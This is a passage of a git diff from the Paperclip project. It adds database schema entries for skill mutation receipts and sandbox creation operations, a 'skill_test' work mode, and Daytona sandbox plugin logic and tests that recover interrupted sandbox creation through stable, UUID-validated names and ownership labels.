"concurrently": false, + "method": "btree", + "with": {} + }, "activity_log_company_user_issue_actor_idx": { "name": "activity_log_company_user_issue_actor_idx", "columns": [ @@ -19019,6 +19052,98 @@ "checkConstraints": {}, "isRLSEnabled": false }, + "public.company_skill_mutation_receipts": { + "name": "company_skill_mutation_receipts", + "schema": "", + "columns": { + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fingerprint": { + "name": "fingerprint", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "skill_id": { + "name": "skill_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "version_id": { + "name": "version_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "response": { + "name": "response", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_skill_mutation_receipts_key_idx": { + "name": "company_skill_mutation_receipts_key_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "company_skill_mutation_receipts_company_id_companies_id_fk": { + "name": "company_skill_mutation_receipts_company_id_companies_id_fk", + "tableFrom": "company_skill_mutation_receipts", + "tableTo": "companies", + "columnsFrom": [ + "company_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, "public.company_skill_repository_snapshots": { "name": "company_skill_repository_snapshots", "schema": "", @@ -19046,7 +19171,46 @@ "name": "file_inventory", "type": "jsonb", "primaryKey": false, - "notNull": true + "notNull": true, + "default": "'[]'::jsonb" + }, + "storage": { + "name": "storage", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "upload": { + "name": "upload", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "restore": { + "name": "restore", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "migration_at": { + "name": "migration_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false, + "default": "now()" + }, + "maintenance_at": { + "name": "maintenance_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false, + "default": "now()" + }, + "restore_retry_at": { + "name": "restore_retry_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false }, "created_at": { "name": "created_at", @@ -19077,6 +19241,38 @@ "concurrently": false, "method": "btree", "with": {} + }, + "company_skill_snapshots_migration_idx": { + "name": "company_skill_snapshots_migration_idx", + "columns": [ + { + "expression": "migration_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"company_skill_repository_snapshots\".\"migration_at\" is not null", + "concurrently": false, + "method": "btree", + "with": {} + }, + "company_skill_snapshots_maintenance_idx": { + "name": "company_skill_snapshots_maintenance_idx", + "columns": [ + { + "expression": "maintenance_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"company_skill_repository_snapshots\".\"maintenance_at\" is not null", + "concurrently": false, + "method": "btree", + "with": {} } }, "foreignKeys": { @@ -19966,6 +20162,25 @@ "primaryKey": false, "notNull": false }, + "package_snapshot_id": { + "name": "package_snapshot_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "package_file_map": { + "name": "package_file_map", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "migration_at": { + "name": "migration_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false, + "default": "now()" + }, "revision_number": { "name": "revision_number", "type": "integer", @@ -20024,6 +20239,52 @@ } }, "indexes": { + "company_skill_versions_migration_idx": { + "name": "company_skill_versions_migration_idx", + "columns": [ + { + "expression": "migration_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"company_skill_versions\".\"migration_at\" is not null", + "concurrently": false, + "method": "btree", + "with": {} + }, + "company_skill_versions_package_snapshot_idx": { + "name": "company_skill_versions_package_snapshot_idx", + "columns": [ + { + "expression": "package_snapshot_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "company_skill_versions_repository_snapshot_idx": { + "name": "company_skill_versions_repository_snapshot_idx", + "columns": [ + { + "expression": "repository_snapshot_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, "company_skill_versions_skill_revision_idx": { "name": "company_skill_versions_skill_revision_idx", "columns": [ @@ -20135,6 +20396,19 @@ "onDelete": "restrict", "onUpdate": "no action" }, + "company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk": { + "name": "company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk", + "tableFrom": "company_skill_versions", + "tableTo": "company_skill_repository_snapshots", + "columnsFrom": [ + "package_snapshot_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "restrict", + "onUpdate": "no action" + }, "company_skill_versions_author_agent_id_agents_id_fk": { "name": "company_skill_versions_author_agent_id_agents_id_fk", "tableFrom": "company_skill_versions", @@ -20580,6 +20854,78 @@ "checkConstraints": {}, "isRLSEnabled": false }, + "public.skill_package_deletions": { + "name": "skill_package_deletions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "archive_key": { + "name": "archive_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "manifest_key": { + "name": "manifest_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "delete_after": { + "name": "delete_after", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "skill_package_deletions_due_idx": { + "name": "skill_package_deletions_due_idx", + "columns": [ + { + "expression": "delete_after", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, "public.company_transfer_runs": { "name": "company_transfer_runs", "schema": "", @@ -33816,7 +34162,7 @@ } ], "isUnique": false, - "where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_failed')) IS NOT TRUE", + "where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_invalid_metadata', 'restore_failed')) IS NOT TRUE", "concurrently": false, "method": "btree", "with": {} @@ -36503,6 +36849,40 @@ "method": "btree", "with": {} }, + "issue_comments_review_response_receipt_idx": { + "name": "issue_comments_review_response_receipt_idx", + "columns": [ + { + "expression": "created_by_run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "author_agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"issue_comments\".\"author_type\" = 'agent' AND \"issue_comments\".\"metadata\"->>'authorizationReason' = 'allow_chat_run_presentation'", + "concurrently": false, + "method": "btree", + "with": {} + }, "issue_comments_company_idx": { "name": "issue_comments_company_idx", "columns": [ @@ -51194,6 +51574,195 @@ "checkConstraints": {}, "isRLSEnabled": false }, + "public.sandbox_creation_operations": { + "name": "sandbox_creation_operations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "environment_id": { + "name": "environment_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "original_environment_id": { + "name": "original_environment_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "request_key": { + "name": "request_key", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'run'" + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "execution_workspace_id": { + "name": "execution_workspace_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "driver_key": { + "name": "driver_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "state": { + "name": "state", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "config": { + "name": "config", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "lease_id": { + "name": "lease_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "next_attempt_at": { + "name": "next_attempt_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "sandbox_creation_operations_pending_deadline_idx": { + "name": "sandbox_creation_operations_pending_deadline_idx", + "columns": [ + { + "expression": "next_attempt_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"sandbox_creation_operations\".\"state\" = 'pending'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "sandbox_creation_operations_owner_idx": { + "name": "sandbox_creation_operations_owner_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "original_environment_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "request_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "sandbox_creation_operations_environment_id_environments_id_fk": { + "name": "sandbox_creation_operations_environment_id_environments_id_fk", + "tableFrom": "sandbox_creation_operations", + "tableTo": "environments", + "columnsFrom": [ + "environment_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, "public.secret_access_events": { "name": "secret_access_events", "schema": "", diff --git a/packages/db/src/migrations/meta/_journal.json b/packages/db/src/migrations/meta/_journal.json index 73f2d86b5e5..47d9d449f1a 100644 --- a/packages/db/src/migrations/meta/_journal.json +++ b/packages/db/src/migrations/meta/_journal.json @@ -2906,6 +2906,20 @@ "when": 1793320102041, "tag": "0416_salty_domino", "breakpoints": true + }, + { + "idx": 417, + "version": "7", + "when": 1793371684483, + "tag": "0417_chunky_red_hulk", + "breakpoints": true + }, + { + "idx": 418, + "version": "7", + "when": 1793395364937, + "tag": "0418_curved_lady_mastermind", + "breakpoints": true } ] } \ No newline at end of file diff --git a/packages/db/src/schema/company_skills.ts b/packages/db/src/schema/company_skills.ts index 4f4fc2f0e6e..ff290f1ed72 100644 --- a/packages/db/src/schema/company_skills.ts +++ b/packages/db/src/schema/company_skills.ts @@ -70,6 +70,18 @@ export type CompanySkillVersionFileInventoryEntry = CompanySkillFileInventoryEnt executable?: boolean; }; +export const companySkillMutationReceipts = pgTable("company_skill_mutation_receipts", { + companyId: uuid("company_id").notNull().references(() => companies.id, { onDelete: "cascade" }), + key: text("key").notNull(), + fingerprint: text("fingerprint").notNull(), + skillId: uuid("skill_id").notNull(), + versionId: uuid("version_id").notNull(), + response: jsonb("response").$type>().notNull(), + createdAt: timestamp("created_at", { withTimezone: true }).notNull().defaultNow(), +}, table => ({ + keyIdx: uniqueIndex("company_skill_mutation_receipts_key_idx").on(table.companyId, table.key), +})); + export type SkillPackageStorageReceipt = { durable?: boolean; format: "tar-gzip-v1"; diff --git a/packages/db/src/schema/index.ts b/packages/db/src/schema/index.ts index 9632226c874..6d5bcc4ff30 100644 --- a/packages/db/src/schema/index.ts +++ b/packages/db/src/schema/index.ts @@ -39,6 +39,7 @@ export { } from "./execution_workspace_restore_points.js"; export { executionWorkspaceRuntimeLeases } from "./execution_workspace_runtime_leases.js"; export { environments } from "./environments.js"; +export { sandboxCreationOperations } from "./sandbox_creation_operations.js"; export { environmentLeases } from "./environment_leases.js"; export { environmentCustomImageTemplates } from "./environment_custom_image_templates.js"; export { environmentCustomImageSetupSessions } from "./environment_custom_image_setup_sessions.js"; @@ -193,6 +194,7 @@ export { } from "./tool_access.js"; export { companySkills, + companySkillMutationReceipts, companySkillVersions, companySkillRepositorySnapshots, skillPackageDeletions, companySkillStars, companySkillComments, diff --git a/packages/db/src/schema/sandbox_creation_operations.ts b/packages/db/src/schema/sandbox_creation_operations.ts new file mode 100644 index 00000000000..bb81e503793 --- /dev/null +++ b/packages/db/src/schema/sandbox_creation_operations.ts @@ -0,0 +1,27 @@ +import { index, jsonb, pgTable, text, timestamp, uuid, uniqueIndex } from "drizzle-orm/pg-core"; +import { sql } from "drizzle-orm"; +import { environments } from "./environments.js"; + +export const sandboxCreationOperations = pgTable("sandbox_creation_operations", { + id: uuid("id").primaryKey(), + companyId: uuid("company_id").notNull(), + environmentId: uuid("environment_id").references(() => environments.id, { onDelete: "set null" }), + originalEnvironmentId: uuid("original_environment_id").notNull(), + runId: uuid("run_id").notNull(), + requestKey: text("request_key").notNull().default("run"), + issueId: uuid("issue_id"), + executionWorkspaceId: uuid("execution_workspace_id"), + provider: text("provider").notNull(), + pluginId: uuid("plugin_id"), + driverKey: text("driver_key").notNull(), + state: text("state").notNull().default("pending"), + config: jsonb("config").$type>().notNull(), + metadata: jsonb("metadata").$type>().notNull(), + leaseId: uuid("lease_id"), + nextAttemptAt: timestamp("next_attempt_at", { withTimezone: true }).notNull(), + createdAt: timestamp("created_at", { withTimezone: true }).notNull().defaultNow(), + updatedAt: timestamp("updated_at", { withTimezone: true }).notNull().defaultNow(), +}, table => ({ + pendingDeadline: index("sandbox_creation_operations_pending_deadline_idx").on(table.nextAttemptAt).where(sql`${table.state} = 'pending'`), + owner: uniqueIndex("sandbox_creation_operations_owner_idx").on(table.companyId, table.originalEnvironmentId, table.runId, table.requestKey), +})); diff --git a/packages/paperclip-runner/src/contracts/native-execution.test.ts b/packages/paperclip-runner/src/contracts/native-execution.test.ts index 2a38041bbd5..160611117ad 100644 --- a/packages/paperclip-runner/src/contracts/native-execution.test.ts +++ b/packages/paperclip-runner/src/contracts/native-execution.test.ts @@ -567,34 +567,34 @@ describe("NativeExecutionInputV2 planning", () => { }); }); -describe("NativeExecutionInputV2 ask mode", () => { - it("round-trips ask mode as a default execution without planning context", () => { +describe.each(["ask", "skill_test"])("NativeExecutionInputV2 %s mode", (workMode) => { + it("round-trips the restricted mode as a default execution without planning context", () => { const parsed = parseNativeExecutionInput({ ...input, schema: "paperclip.native-execution-input.v2", executionMode: "default", - task: { ...input.task, workMode: "ask" }, + task: { ...input.task, workMode }, planningContext: null, }); expect(parsed).toMatchObject({ schema: "paperclip.native-execution-input.v2", executionMode: "default", - task: { workMode: "ask" }, + task: { workMode }, }); expect(buildNativeModelEnvelope(parsed)).toMatchObject({ schema: "paperclip.native-model-envelope.v2", - task: { workMode: "ask" }, + task: { workMode }, executionMode: "default", planningContext: null, }); }); - it("rejects plan execution for ask mode", () => { + it("rejects plan execution for the restricted mode", () => { expect(() => parseNativeExecutionInput({ ...input, schema: "paperclip.native-execution-input.v2", executionMode: "plan", - task: { ...input.task, workMode: "ask" }, + task: { ...input.task, workMode }, planningContext: { documentId: null, baseRevisionId: null, diff --git a/packages/paperclip-runner/src/contracts/native-execution.ts b/packages/paperclip-runner/src/contracts/native-execution.ts index a73b03383e7..aecbdd0e86c 100644 --- a/packages/paperclip-runner/src/contracts/native-execution.ts +++ b/packages/paperclip-runner/src/contracts/native-execution.ts @@ -210,7 +210,7 @@ export interface NativeExecutionInputV2 extends Omit & { - workMode: "standard" | "planning" | "ask"; + workMode: "standard" | "planning" | "ask" | "skill_test"; }; planningContext: NativePlanningContext | null; } @@ -486,8 +486,8 @@ export function parseNativeExecutionInput(value: unknown): NativeExecutionInput const contract = record(completionContract.contract, "input.completionContract.contract"); exactKeys(contract, ["revision", "objective", "criteria"], "input.completionContract.contract"); - if (task.workMode !== "standard" && (!isV2 || task.workMode !== "planning" && task.workMode !== "ask")) { - throw new NativeExecutionInputError("input.task.workMode must be standard, planning, or ask"); + if (task.workMode !== "standard" && (!isV2 || task.workMode !== "planning" && task.workMode !== "ask" && task.workMode !== "skill_test")) { + throw new NativeExecutionInputError("input.task.workMode must be standard, planning, ask, or skill_test"); } const executionMode: NativeExecutionMode = isV2 && input.executionMode === "plan" ? "plan" : "default"; if (isV2 && input.executionMode !== "default" && input.executionMode !== "plan") { @@ -871,7 +871,7 @@ export function parseNativeExecutionInput(value: unknown): NativeExecutionInput // Recovery must retain those runs, so derive the same bounded model // prompt from their task fields instead of making them unrecoverable. prompt: text(task.prompt ?? task.description ?? task.title, "input.task.prompt"), - workMode: task.workMode as "standard" | "planning" | "ask", + workMode: task.workMode as "standard" | "planning" | "ask" | "skill_test", }, workspace: { cwd: text(workspace.cwd, "input.workspace.cwd"), diff --git a/packages/paperclip-runner/src/contracts/native-session-backend.ts b/packages/paperclip-runner/src/contracts/native-session-backend.ts index 28866778dbe..8457c47a396 100644 --- a/packages/paperclip-runner/src/contracts/native-session-backend.ts +++ b/packages/paperclip-runner/src/contracts/native-session-backend.ts @@ -143,7 +143,11 @@ export function isSemanticToolOutcomeUnknownError(error: unknown): error is Sema export class NativeSessionCloseUnrecoverableError extends Error { readonly code = "native_session_close_unrecoverable"; - constructor(readonly settlement?: Record) { + constructor( + readonly settlement?: Record, + /** Exact durable results exist for every admitted Core tool callback. */ + readonly semanticToolsSettled = false, + ) { super( "provider_transport_failed: runner did not durably suspend before checkpoint", ); diff --git a/packages/paperclip-runner/src/live/runnerd-codex-transport.test.ts b/packages/paperclip-runner/src/live/runnerd-codex-transport.test.ts index 4b351a656f3..68fc16f53f7 100644 --- a/packages/paperclip-runner/src/live/runnerd-codex-transport.test.ts +++ b/packages/paperclip-runner/src/live/runnerd-codex-transport.test.ts @@ -1356,6 +1356,7 @@ it.each(["after_budget", "within_budget", "interrupted_within_budget", "persiste expect(closeFailure).toBeInstanceOf( NativeSessionCloseUnrecoverableError, ); + expect(closeFailure).toHaveProperty("semanticToolsSettled", false); expect(closeFailure).toHaveProperty("settlement.semanticTools.pending", expect.arrayContaining([ expect.objectContaining({ callId: expect.any(String), operationId: expect.any(String), sourceEventId: expect.any(String), inputDigest: expect.stringMatching(/^[a-f0-9]{64}$/) }), @@ -8110,9 +8111,13 @@ it("still fails closed when a real close grace period cannot fit a durable suspe cwd: tmpdir(), dynamicTools: [], }); - await expect(bundle.transport.close()).rejects.toThrow( - "runner did not durably suspend before checkpoint", - ); + const closed = bundle.transport.close(); + await expect(closed).rejects.toMatchObject({ + code: "native_session_close_unrecoverable", + semanticToolsSettled: true, + }); + // Retirement preserves the original rejected promise and its proof. + expect(bundle.transport.close()).toBe(closed); } finally { await rm(stateDirectory, { recursive: true, force: true }); } diff --git a/packages/paperclip-runner/src/live/runnerd-codex-transport.ts b/packages/paperclip-runner/src/live/runnerd-codex-transport.ts index 23ab1f1721e..bba62831ee4 100644 --- a/packages/paperclip-runner/src/live/runnerd-codex-transport.ts +++ b/packages/paperclip-runner/src/live/runnerd-codex-transport.ts @@ -4928,7 +4928,11 @@ class DurablePrpCodexTransport implements CodexAppServerTransport { } catch { // Keep the settlement failure authoritative if its observer fails. } - throw new NativeSessionCloseUnrecoverableError(settlement); + // Sample after ingress retirement and its drain. A result observed before + // that barrier cannot rule out one last admitted tool callback. + throw new NativeSessionCloseUnrecoverableError( + settlement, this.#core?.semanticToolResultsSettled() === true, + ); } if (!preparationConfirmed) { throw new Error(`Native runner ${attachmentPending ? "attachment" : "startup"} cleanup is unconfirmed; recovery state retained.`); diff --git a/packages/plugins/sandbox-providers/daytona/README.md b/packages/plugins/sandbox-providers/daytona/README.md index 993b58f3c73..8f27d409e7e 100644 --- a/packages/plugins/sandbox-providers/daytona/README.md +++ b/packages/plugins/sandbox-providers/daytona/README.md @@ -63,3 +63,22 @@ second export after reconnect. The test creates and deletes one disposable - `src/manifest.ts` declares the sandbox-provider driver metadata - `src/plugin.ts` implements the environment lifecycle hooks - `paperclipPlugin.manifest` and `paperclipPlugin.worker` point the host at the built plugin entrypoints in `dist/` + + +### Interrupted run-lease creation + +The host commits a company-scoped creation operation before acquiring a new run +lease. The operation UUID becomes `paperclip-create-` and the +`paperclip-create-attempt` label. The existing inspection hook can resolve that +name and validate company, environment and run labels without starting a sandbox. +Recovery persists the observed provider ID before the existing cleanup worker +deletes it. A missing creation name is an uncertain outcome, not proof of removal. +The host retains that operation for manual reconciliation and never repeats the +creation request blindly. Credential identity must still match admission. + +This capability is declared as `creationOperationVersion: 1` in manifest version +0.1.10. It covers normal run/ad-hoc lease acquisition and plugin task replacement. +Legacy provider `environmentProbe` and custom-image interactive setup have separate +lifecycles and are outside this lease-orphan fallback replacement. The normal Test +path which acquires a runtime lease is covered. Unit fixtures exercise lookup and +deletion; live provider qualification requires an explicit disposable test account. diff --git a/packages/plugins/sandbox-providers/daytona/package.json b/packages/plugins/sandbox-providers/daytona/package.json index 84007584468..cbf36aedffb 100644 --- a/packages/plugins/sandbox-providers/daytona/package.json +++ b/packages/plugins/sandbox-providers/daytona/package.json @@ -1,6 +1,6 @@ { "name": "@paperclipai/plugin-daytona", - "version": "0.1.9", + "version": "0.1.10", "description": "Daytona sandbox provider plugin for Paperclip environments", "license": "MIT", "homepage": "https://github.com/paperclipai/paperclip", diff --git a/packages/plugins/sandbox-providers/daytona/src/manifest.ts b/packages/plugins/sandbox-providers/daytona/src/manifest.ts index fd3b668f544..a4bb68037de 100644 --- a/packages/plugins/sandbox-providers/daytona/src/manifest.ts +++ b/packages/plugins/sandbox-providers/daytona/src/manifest.ts @@ -15,7 +15,7 @@ export const DEFAULT_DAYTONA_OPERATION_TIMEOUT_MS = 300_000; // 0.1.6 adds private authenticated WebSocket ingress for paperclip_runner. // 0.1.7 exposes host-owned warm/cold runner lifecycle controls. // 0.1.8 declares the default provider acquisition budget to the host. -const PLUGIN_VERSION = "0.1.9"; +const PLUGIN_VERSION = "0.1.10"; const manifest: PaperclipPluginManifestV1 = { id: PLUGIN_ID, @@ -39,6 +39,7 @@ const manifest: PaperclipPluginManifestV1 = { description: "Provisions Daytona sandboxes with configurable image or snapshot selection, startup timeouts, and lease reuse.", supportsReusableLeases: true, + creationOperationVersion: 1, // Daytona keeps a persistent session and tails its callback log form, so it // emits incremental session output while the command runs. Declare the // opt-in capability so the host selects the session-output streaming path. diff --git a/packages/plugins/sandbox-providers/daytona/src/plugin.test.ts b/packages/plugins/sandbox-providers/daytona/src/plugin.test.ts index 94838ec5c11..b7cd83089b9 100644 --- a/packages/plugins/sandbox-providers/daytona/src/plugin.test.ts +++ b/packages/plugins/sandbox-providers/daytona/src/plugin.test.ts @@ -51,6 +51,16 @@ describe("Daytona read-only resource inspection", () => { for (const method of [sandbox.start, sandbox.stop, sandbox.delete, sandbox.archive, sandbox.refreshData]) expect(method).not.toHaveBeenCalled(); expect(mockCreate).not.toHaveBeenCalled(); }); + it.each(["active", "destroyed"])("inspects a normal lease with creation provenance by recorded ID: %s", async state => { + const provenance = { creationOperationId: "16cd534e-27a1-45de-a4ad-5adbb6481361" }; + if (state === "active") mockGet.mockResolvedValue(createMockSandbox()); + else mockGet.mockRejectedValue(new MockDaytonaNotFoundError("gone")); + expect(await plugin.definition.onEnvironmentInspectLease!({ ...params, leaseMetadata: provenance })) + .toEqual({ providerLeaseId: "sandbox-123", state }); + expect(mockGet).toHaveBeenCalledExactlyOnceWith("sandbox-123"); + expect(mockCreate).not.toHaveBeenCalled(); + if (state === "destroyed") expect(await plugin.definition.onIdleDrain!(new AbortController().signal)).toBe("none"); + }); it("accepts only typed provider not-found as deletion proof", async () => { __resetDaytonaSandboxHandleCacheForTest(); mockGet.mockRejectedValue(new MockDaytonaNotFoundError("not found")); @@ -80,6 +90,46 @@ describe("Daytona read-only resource inspection", () => { }); }); +describe("Daytona durable creation identity", () => { + const id = "16cd534e-27a1-45de-a4ad-5adbb6481361"; + const runId = "8cbd0194-e322-4b5b-9800-df4d5a682479"; + const params = { driverKey: "daytona", companyId: "fixture-company", environmentId: "fixture-environment", + providerLeaseId: id, config: { apiKey: "fixture-not-a-key" }, + creationOperation: { id, runId } }; + beforeEach(() => { mockCreate.mockReset(); mockGet.mockReset(); __resetDaytonaSandboxHandleCacheForTest(); }); + afterEach(() => { vi.unstubAllEnvs(); __resetDaytonaSandboxHandleCacheForTest(); }); + function resource() { return { ...createMockSandbox({ name: `paperclip-create-${id}` }), labels: { + "paperclip-provider": "daytona", "paperclip-create-attempt": id, + "paperclip-company-id": params.companyId, "paperclip-environment-id": params.environmentId, + "paperclip-run-id": runId, + } }; } + it("locates the exact resource by stable name without creation or lifecycle calls", async () => { + const sandbox = resource(); mockGet.mockResolvedValue(sandbox); + const observed = await plugin.definition.onEnvironmentInspectLease!(params); + expect(mockGet).toHaveBeenCalledWith(`paperclip-create-${id}`); + expect(observed).toMatchObject({ providerLeaseId: `paperclip-create-${id}`, state: "active", + creationCleanup: { observedProviderLeaseId: sandbox.id, attemptId: id, runId } }); + expect(mockCreate).not.toHaveBeenCalled(); expect(sandbox.delete).not.toHaveBeenCalled(); + await plugin.definition.onEnvironmentDestroyLease!({ ...params, providerLeaseId: observed.providerLeaseId, + leaseMetadata: { failedCreateCleanup: observed.creationCleanup } }); + expect(sandbox.delete).toHaveBeenCalledOnce(); + }); + it("retains uncertainty when a creation name is absent", async () => { + mockGet.mockRejectedValue(new MockDaytonaNotFoundError("not yet visible")); + expect(await plugin.definition.onEnvironmentInspectLease!(params)).toEqual({ providerLeaseId: `paperclip-create-${id}`, state: "unknown" }); + expect(mockCreate).not.toHaveBeenCalled(); + }); + it("rejects a name or label owned by another creation", async () => { + mockGet.mockResolvedValue({ ...resource(), labels: { "paperclip-company-id": "foreign" } }); + await expect(plugin.definition.onEnvironmentInspectLease!(params)).rejects.toThrow("ownership does not match"); + }); + it("requires the recorded endpoint when ambient configuration changes", async () => { + vi.stubEnv("DAYTONA_API_URL", "https://changed.example.test"); + expect((await plugin.definition.onEnvironmentInspectLease!(params)).state).toBe("unknown"); + expect(mockGet).not.toHaveBeenCalled(); + }); +}); + describe("Daytona idle eligibility", () => { const params = { driverKey: "daytona", companyId: "fixture-company", environmentId: "fixture-environment", config: { apiKey: "fixture-not-a-key", reuseLease: true } }; @@ -537,7 +587,7 @@ describe("Daytona sandbox provider plugin", () => { // The bundled-plugin boot reconcile refreshes the stored manifest for an // existing install only when the version changes. The acquisition budget needs // the bump to reach an existing install. - expect(manifest.version).toBe("0.1.9"); + expect(manifest.version).toBe("0.1.10"); }); it.each([false, true])("closes duplex routes on lease release even when bridge drain hangs: %s", async (hangDrain) => { diff --git a/packages/plugins/sandbox-providers/daytona/src/plugin.ts b/packages/plugins/sandbox-providers/daytona/src/plugin.ts index 77a3b618953..45ba1de804f 100644 --- a/packages/plugins/sandbox-providers/daytona/src/plugin.ts +++ b/packages/plugins/sandbox-providers/daytona/src/plugin.ts @@ -994,7 +994,8 @@ async function createSandbox( } // The SDK can create a sandbox and then throw while waiting for it to start. // Keep an attempt-specific provider name so that failure cannot lose ownership. - const attemptId = randomUUID(); + const attemptId = "creationOperationId" in params && params.creationOperationId ? params.creationOperationId : randomUUID(); + if (!/^[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i.test(attemptId)) throw new Error("Invalid creation operation identity"); const name = `paperclip-create-${attemptId}`; const labels = { ...buildSandboxLabels({ companyId: params.companyId, @@ -2988,6 +2989,32 @@ const plugin = 